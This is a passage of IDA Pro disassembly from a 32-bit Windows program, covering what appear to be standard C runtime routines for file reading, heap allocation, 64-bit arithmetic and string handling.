var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		test	edi, edi
		mov	ecx, edi
		mov	[ebp+var_8], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_414AA9
		xor	eax, eax
		jmp	loc_414B54
; ---------------------------------------------------------------------------


loc_414AA9:				; CODE XREF: sub_414A85+1Bj
		push	esi
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_414ABD
		mov	eax, [esi+18h]
		mov	[ebp+var_4], eax
		jmp	short loc_414AC9
; ---------------------------------------------------------------------------


loc_414ABD:				; CODE XREF: sub_414A85+2Ej
		mov	[ebp+var_4], 1000h
		jmp	short loc_414AC9
; ---------------------------------------------------------------------------


loc_414AC6:				; CODE XREF: sub_414A85+C5j
		mov	ecx, [ebp+arg_0]


loc_414AC9:				; CODE XREF: sub_414A85+36j
					; sub_414A85+3Fj
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_414AFB
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_414AFB
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_414AE0
		mov	edi, eax


loc_414AE0:				; CODE XREF: sub_414A85+57j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_419140
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_8]
		jmp	short loc_414B46
; ---------------------------------------------------------------------------


loc_414AFB:				; CODE XREF: sub_414A85+4Aj
					; sub_414A85+51j
		cmp	ecx, [ebp+var_4]
		jb	short loc_414B2E
		cmp	[ebp+var_4], 0
		mov	eax, ecx
		jz	short loc_414B11
		xor	edx, edx
		div	[ebp+var_4]
		mov	eax, ecx
		sub	eax, edx


loc_414B11:				; CODE XREF: sub_414A85+81j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_419087
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_414B58
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414B68
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_414B46
; ---------------------------------------------------------------------------


loc_414B2E:				; CODE XREF: sub_414A85+79j
		push	esi
		call	sub_418DD9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_414B5C
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+var_4], eax


loc_414B46:				; CODE XREF: sub_414A85+74j
					; sub_414A85+A7j
		cmp	[ebp+arg_0], 0
		jnz	loc_414AC6
		mov	eax, [ebp+arg_8]


loc_414B53:				; CODE XREF: sub_414A85+E1j
		pop	esi


loc_414B54:				; CODE XREF: sub_414A85+1Fj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_414B58:				; CODE XREF: sub_414A85+9Bj
		or	dword ptr [esi+0Ch], 10h


loc_414B5C:				; CODE XREF: sub_414A85+B3j
					; sub_414A85+E7j
		mov	eax, edi
		sub	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_414B53
; ---------------------------------------------------------------------------


loc_414B68:				; CODE XREF: sub_414A85+A0j
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_414B5C
sub_414A85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B6E	proc near		; CODE XREF: sub_403BA9+47p
					; sub_411FA9+2F2p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	0Ch
		push	offset stru_428D58
		call	__SEH_prolog
		push	[ebp+arg_C]
		call	sub_417FF8
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414A85
		add	esp, 10h
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_414BB0
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_414B6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_414BB0	proc near		; CODE XREF: sub_414B6E+34p
					; DATA XREF: .rdata:stru_428D58o
		push	dword ptr [ebp+14h]
		call	sub_41804A
		pop	ecx
		retn
sub_414BB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414BBA	proc near		; CODE XREF: sub_41B1CE+34p
					; sub_41B1CE+49p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00414D2B SIZE 0000003C BYTES

		push	14h
		push	offset stru_428D68
		call	__SEH_prolog
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_414BDD
		push	[ebp+arg_4]
		call	sub_414E7D
		pop	ecx
		jmp	loc_414D61
; ---------------------------------------------------------------------------


loc_414BDD:				; CODE XREF: sub_414BBA+13j
		mov	esi, [ebp+arg_4]
		cmp	esi, ebx
		jnz	short loc_414BF0
		push	edi
		call	sub_414A14
		pop	ecx
		jmp	loc_414D5F
; ---------------------------------------------------------------------------


loc_414BF0:				; CODE XREF: sub_414BBA+28j
		cmp	dword_47C980, 3
		jnz	loc_414D2B


loc_414BFD:				; CODE XREF: sub_414BBA+158j
		mov	[ebp+var_1C], ebx
		cmp	esi, 0FFFFFFE0h
		ja	loc_414CFA
		push	4
		call	sub_418285
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		push	edi
		call	sub_4182FE
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	loc_414CCA
		cmp	esi, dword_47C96C
		ja	short loc_414C7A
		push	esi
		push	edi
		push	eax
		call	sub_4187FE
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_414C42
		mov	[ebp+var_1C], edi
		jmp	short loc_414C7A
; ---------------------------------------------------------------------------


loc_414C42:				; CODE XREF: sub_414BBA+81j
		push	esi
		call	sub_418ADD
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	short loc_414C7A
		mov	eax, [edi-4]
		dec	eax
		mov	[ebp+var_24], eax
		cmp	eax, esi
		jb	short loc_414C5D
		mov	eax, esi


loc_414C5D:				; CODE XREF: sub_414BBA+9Fj
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_419140
		push	edi
		call	sub_4182FE
		mov	[ebp+var_20], eax
		push	edi
		push	eax
		call	sub_418329
		add	esp, 18h


loc_414C7A:				; CODE XREF: sub_414BBA+72j
					; sub_414BBA+86j ...
		cmp	[ebp+var_1C], ebx
		jnz	short loc_414CCA
		cmp	esi, ebx
		jnz	short loc_414C89
		xor	esi, esi
		inc	esi
		mov	[ebp+arg_4], esi


loc_414C89:				; CODE XREF: sub_414BBA+C7j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	ebx
		push	dword_47C97C
		call	ds:dword_42005C	; RtlAllocateHeap
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	short loc_414CCA
		mov	eax, [edi-4]
		dec	eax
		mov	[ebp+var_24], eax
		cmp	eax, esi
		jb	short loc_414CB4
		mov	eax, esi


loc_414CB4:				; CODE XREF: sub_414BBA+F6j
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_419140
		push	edi
		push	[ebp+var_20]
		call	sub_418329
		add	esp, 14h


loc_414CCA:				; CODE XREF: sub_414BBA+66j
					; sub_414BBA+C3j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_414D22
		cmp	[ebp+var_20], ebx
		jnz	short loc_414CFA
		cmp	esi, ebx
		jnz	short loc_414CDF
		xor	esi, esi
		inc	esi


loc_414CDF:				; CODE XREF: sub_414BBA+120j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	edi
		push	ebx
		push	dword_47C97C
		call	ds:dword_420158	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax


loc_414CFA:				; CODE XREF: sub_414BBA+49j
					; sub_414BBA+11Cj
		mov	eax, [ebp+var_1C]
		cmp	eax, ebx
		jnz	short loc_414D61
		cmp	dword_47C35C, ebx
		jz	short loc_414D61
		push	esi
		call	sub_41947D
		pop	ecx
		test	eax, eax
		jnz	loc_414BFD
		jmp	short loc_414D5F
sub_414BBA	endp


; =============== S U B	R O U T	I N E =======================================



sub_414D1A	proc near		; DATA XREF: .rdata:stru_428D68o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]
sub_414D1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414D22	proc near		; CODE XREF: sub_414BBA+114p
		push	4
		call	sub_4181F1
		pop	ecx
		retn
sub_414D22	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_414BBA


loc_414D2B:				; CODE XREF: sub_414BBA+3Dj
					; sub_414BBA+1A3j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_414D48
		cmp	esi, ebx
		jnz	short loc_414D39
		xor	esi, esi
		inc	esi


loc_414D39:				; CODE XREF: sub_414BBA+17Aj
		push	esi
		push	edi
		push	ebx
		push	dword_47C97C
		call	ds:dword_420158	; RtlReAllocateHeap


loc_414D48:				; CODE XREF: sub_414BBA+176j
		cmp	eax, ebx
		jnz	short loc_414D61
		cmp	dword_47C35C, ebx
		jz	short loc_414D61
		push	esi
		call	sub_41947D
		pop	ecx
		test	eax, eax
		jnz	short loc_414D2B


loc_414D5F:				; CODE XREF: sub_414BBA+31j
					; sub_414BBA+15Ej
		xor	eax, eax


loc_414D61:				; CODE XREF: sub_414BBA+1Ej
					; sub_414BBA+145j ...
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_414BBA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D67	proc near		; CODE XREF: sub_414DC3+Ap

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	10h
		push	offset stru_428D78
		call	__SEH_prolog
		call	sub_419685
		mov	[ebp+var_1C], eax
		test	eax, eax
		jnz	short loc_414D8E
		call	sub_419600
		mov	dword ptr [eax], 18h
		xor	eax, eax
		jmp	short loc_414DB3
; ---------------------------------------------------------------------------


loc_414D8E:				; CODE XREF: sub_414D67+16j
		and	[ebp+ms_exc.disabled], 0
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419498
		add	esp, 10h
		mov	[ebp+var_20], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_414DB9
		mov	eax, [ebp+var_20]


loc_414DB3:				; CODE XREF: sub_414D67+25j
		call	__SEH_epilog
		retn
sub_414D67	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DB9	proc near		; CODE XREF: sub_414D67+44p
					; DATA XREF: .rdata:stru_428D78o
		push	dword ptr [ebp-1Ch]
		call	sub_41804A
		pop	ecx
		retn
sub_414DB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DC3	proc near		; CODE XREF: sub_403BA9+2Ap
					; sub_408A18+37B8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_414D67
		add	esp, 0Ch
		retn
sub_414DC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414DD6	proc near		; CODE XREF: sub_414E51+Bp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset stru_428D88
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		cmp	dword_47C980, 3
		jnz	short loc_414E1C
		cmp	esi, dword_47C96C
		ja	short loc_414E1C
		push	4
		call	sub_418285
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_418ADD
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_414E48
		mov	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_414E3F


loc_414E1C:				; CODE XREF: sub_414DD6+16j
					; sub_414DD6+1Ej
		test	esi, esi
		jnz	short loc_414E21
		inc	esi


loc_414E21:				; CODE XREF: sub_414DD6+48j
		cmp	dword_47C980, 1
		jz	short loc_414E30
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_414E30:				; CODE XREF: sub_414DD6+52j
		push	esi
		push	0
		push	dword_47C97C
		call	ds:dword_42005C	; RtlAllocateHeap


loc_414E3F:				; CODE XREF: sub_414DD6+44j
		call	__SEH_epilog
		retn
sub_414DD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E45	proc near		; DATA XREF: .rdata:stru_428D88o
		mov	esi, [ebp+8]
sub_414E45	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414E48	proc near		; CODE XREF: sub_414DD6+3Ap
		push	4
		call	sub_4181F1
		pop	ecx
		retn
sub_414E48	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E51	proc near		; CODE XREF: sub_414E7D+Ap
					; sub_4155FE+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_414E7A


loc_414E58:				; CODE XREF: sub_414E51+27j
		push	[esp+arg_0]
		call	sub_414DD6
		test	eax, eax
		pop	ecx
		jnz	short locret_414E7C
		cmp	[esp+arg_4], eax
		jz	short locret_414E7C
		push	[esp+arg_0]
		call	sub_41947D
		test	eax, eax
		pop	ecx
		jnz	short loc_414E58


loc_414E7A:				; CODE XREF: sub_414E51+5j
		xor	eax, eax

locret_414E7C:				; CODE XREF: sub_414E51+13j
					; sub_414E51+19j
		retn
sub_414E51	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E7D	proc near		; CODE XREF: sub_402E1B+1Ep
					; sub_407C73+5Ep ...

arg_0		= dword	ptr  4

		push	dword_47C35C
		push	[esp+4+arg_0]
		call	sub_414E51
		pop	ecx
		pop	ecx
		retn
sub_414E7D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414E90	proc near		; CODE XREF: sub_4021B5+190p
					; sub_41126C+114p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_414EA9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_414EA9:				; CODE XREF: sub_414E90+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_414E90	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_414EC5	proc near		; CODE XREF: sub_414EFDp
		mov	eax, offset sub_419B69
		mov	off_42DE88, eax
		mov	off_42DE8C, offset sub_4197E3
		mov	off_42DE90, offset sub_419848
		mov	off_42DE94, offset sub_4197A7
		mov	off_42DE98, offset sub_41982E
		mov	off_42DE9C, eax
		retn
sub_414EC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_414EFD	proc near		; CODE XREF: sub_415F5B+9p
					; DATA XREF: .data:off_42D798o
		call	sub_414EC5
		call	sub_419C0C
		mov	dword_47C19C, eax
		call	sub_419BBA
		fnclex
		retn
sub_414EFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F14	proc near		; CODE XREF: sub_402B23+8p
					; sub_413FFD+FEp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_4200A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414F34
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		call	sub_419612
		pop	ecx


loc_414F30:				; CODE XREF: sub_414F14+41j
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_414F34:				; CODE XREF: sub_414F14+Dj
		test	al, 1
		jz	short loc_414F57
		test	[esp+arg_4], 2
		jz	short loc_414F57
		call	sub_419600
		mov	dword ptr [eax], 0Dh
		call	sub_419609
		mov	dword ptr [eax], 5
		jmp	short loc_414F30
; ---------------------------------------------------------------------------


loc_414F57:				; CODE XREF: sub_414F14+22j
					; sub_414F14+29j
		xor	eax, eax
		retn
sub_414F14	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414F60	proc near		; CODE XREF: sub_402B3D+2Ap
					; sub_416662+60Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_414F91
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+4+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+4+arg_8]
		add	edx, ecx
		jmp	short loc_414FD8
; ---------------------------------------------------------------------------


loc_414F91:				; CODE XREF: sub_414F60+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_414F9F:				; CODE XREF: sub_414F60+49j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_414F9F
		div	ebx
		mov	esi, eax
		mul	[esp+4+arg_C]
		mov	ecx, eax
		mov	eax, [esp+4+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_414FCD
		cmp	edx, [esp+4+arg_4]
		ja	short loc_414FCD
		jb	short loc_414FD6
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_414FD6


loc_414FCD:				; CODE XREF: sub_414F60+5Dj
					; sub_414F60+63j
		dec	esi
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_414FD6:				; CODE XREF: sub_414F60+65j
					; sub_414F60+6Bj
		xor	ebx, ebx


loc_414FD8:				; CODE XREF: sub_414F60+2Fj
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		pop	esi
		retn	10h
sub_414F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415000	proc near		; CODE XREF: sub_402C41+5Fp
					; sub_402C41+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_415021
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_415021:				; CODE XREF: sub_415000+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41503D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41503D:				; CODE XREF: sub_415000+27j
		or	eax, eax
		jnz	short loc_415059
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41509A
; ---------------------------------------------------------------------------


loc_415059:				; CODE XREF: sub_415000+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_415067:				; CODE XREF: sub_415000+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_415067
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_415095
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_415095
		jb	short loc_415096
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_415096


loc_415095:				; CODE XREF: sub_415000+85j
					; sub_415000+8Bj
		dec	esi


loc_415096:				; CODE XREF: sub_415000+8Dj
					; sub_415000+93j
		xor	edx, edx
		mov	eax, esi


loc_41509A:				; CODE XREF: sub_415000+57j
		dec	edi
		jnz	short loc_4150A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4150A4:				; CODE XREF: sub_415000+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_415000	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4150B0	proc near		; CODE XREF: sub_4031EB+C6p
					; sub_4031EB+133p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_415130
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41511D


loc_4150C8:				; CODE XREF: sub_4150B0+58j
					; sub_4150B0+6Bj
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		add	esi, 1
		cmp	al, dl
		jz	short loc_4150EE
		test	al, al
		jz	short loc_4150E8


loc_4150DB:				; CODE XREF: sub_4150B0+36j
		mov	al, [esi]
		add	esi, 1


loc_4150E0:				; CODE XREF: sub_4150B0+45j
		cmp	al, dl
		jz	short loc_4150EE
		test	al, al
		jnz	short loc_4150DB


loc_4150E8:				; CODE XREF: sub_4150B0+29j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4150EE:				; CODE XREF: sub_4150B0+25j
					; sub_4150B0+32j
		mov	al, [esi]
		add	esi, 1
		cmp	al, dh
		jnz	short loc_4150E0
		lea	edi, [esi-1]


loc_4150FA:				; CODE XREF: sub_4150B0+69j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_415129
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_4150C8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_415129
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4150FA
		jmp	short loc_4150C8
; ---------------------------------------------------------------------------


loc_41511D:				; CODE XREF: sub_4150B0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_415A96
; ---------------------------------------------------------------------------


loc_415129:				; CODE XREF: sub_4150B0+4Fj
					; sub_4150B0+5Fj
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415130:				; CODE XREF: sub_4150B0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_4150B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415136	proc near		; CODE XREF: sub_4031EB+BFp
					; sub_4031EB+12Cp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	18h
		push	offset stru_428D98
		call	__SEH_prolog
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		call	sub_416E15
		mov	esi, [eax+64h]
		mov	[ebp+var_20], esi
		cmp	esi, off_42D83C
		jz	short loc_415164
		call	sub_417C4E
		mov	esi, eax
		mov	[ebp+var_20], esi


loc_415164:				; CODE XREF: sub_415136+22j
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jnz	short loc_415193
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	loc_415241


loc_415178:				; CODE XREF: sub_415136+56j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_415189
		cmp	cl, 7Ah
		jg	short loc_415189
		sub	cl, 20h
		mov	[edx], cl


loc_415189:				; CODE XREF: sub_415136+47j
					; sub_415136+4Cj
		inc	edx
		cmp	[edx], bl
		jnz	short loc_415178
		jmp	loc_415241
; ---------------------------------------------------------------------------


loc_415193:				; CODE XREF: sub_415136+33j
		push	1
		push	dword ptr [esi+4]
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	200h
		push	eax
		call	sub_419E09
		add	esp, 20h
		mov	[ebp+var_24], eax
		cmp	eax, ebx
		jz	loc_41523E
		mov	[ebp+ms_exc.disabled], ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_414800
		mov	[ebp+ms_exc.old_esp], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_4151EB
; ---------------------------------------------------------------------------


loc_4151D4:				; DATA XREF: .rdata:stru_428D98o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4151D8:				; DATA XREF: .rdata:stru_428D98o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_419D38
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_4151EB:				; CODE XREF: sub_415136+9Cj
		cmp	edi, ebx
		jnz	short loc_415205
		push	[ebp+var_24]
		call	sub_414E7D
		pop	ecx
		mov	edi, eax
		mov	[ebp+var_1C], 1
		cmp	edi, ebx
		jz	short loc_415232


loc_415205:				; CODE XREF: sub_415136+B7j
		push	1
		push	dword ptr [esi+4]
		push	[ebp+var_24]
		push	edi
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	200h
		push	dword ptr [esi+14h]
		call	sub_419E09
		add	esp, 20h
		test	eax, eax
		jz	short loc_415232
		push	edi
		push	[ebp+arg_0]
		call	sub_419C40
		pop	ecx
		pop	ecx


loc_415232:				; CODE XREF: sub_415136+CDj
					; sub_415136+EFj
		cmp	[ebp+var_1C], ebx
		jz	short loc_41523E
		push	edi
		call	sub_414A14
		pop	ecx


loc_41523E:				; CODE XREF: sub_415136+7Cj
					; sub_415136+FFj
		mov	eax, [ebp+arg_0]


loc_415241:				; CODE XREF: sub_415136+3Cj
					; sub_415136+58j
		lea	esp, [ebp-34h]
		call	__SEH_epilog
		retn
sub_415136	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41524A	proc near		; CODE XREF: sub_415409+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	sub_416E15
		mov	esi, [eax+64h]
		cmp	esi, off_42D83C
		jz	short loc_415268
		call	sub_417C4E
		mov	esi, eax


loc_415268:				; CODE XREF: sub_41524A+15j
		mov	ecx, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	bl, [ecx]
		lea	edi, [ecx+1]


loc_415274:				; CODE XREF: sub_41524A+55j
		cmp	dword ptr [esi+28h], 1
		movzx	eax, bl
		jle	short loc_41528E
		push	8
		push	eax
		push	esi
		call	sub_417A4B
		mov	ecx, [ebp+arg_0]
		add	esp, 0Ch
		jmp	short loc_415298
; ---------------------------------------------------------------------------


loc_41528E:				; CODE XREF: sub_41524A+31j
		mov	edx, [esi+48h]
		movzx	eax, byte ptr [edx+eax*2]
		and	eax, 8


loc_415298:				; CODE XREF: sub_41524A+42j
		test	eax, eax
		jz	short loc_4152A1
		mov	bl, [edi]
		inc	edi
		jmp	short loc_415274
; ---------------------------------------------------------------------------


loc_4152A1:				; CODE XREF: sub_41524A+50j
		cmp	bl, 2Dh
		jnz	short loc_4152AC
		or	[ebp+arg_C], 2
		jmp	short loc_4152B1
; ---------------------------------------------------------------------------


loc_4152AC:				; CODE XREF: sub_41524A+5Aj
		cmp	bl, 2Bh
		jnz	short loc_4152B4


loc_4152B1:				; CODE XREF: sub_41524A+60j
		mov	bl, [edi]
		inc	edi


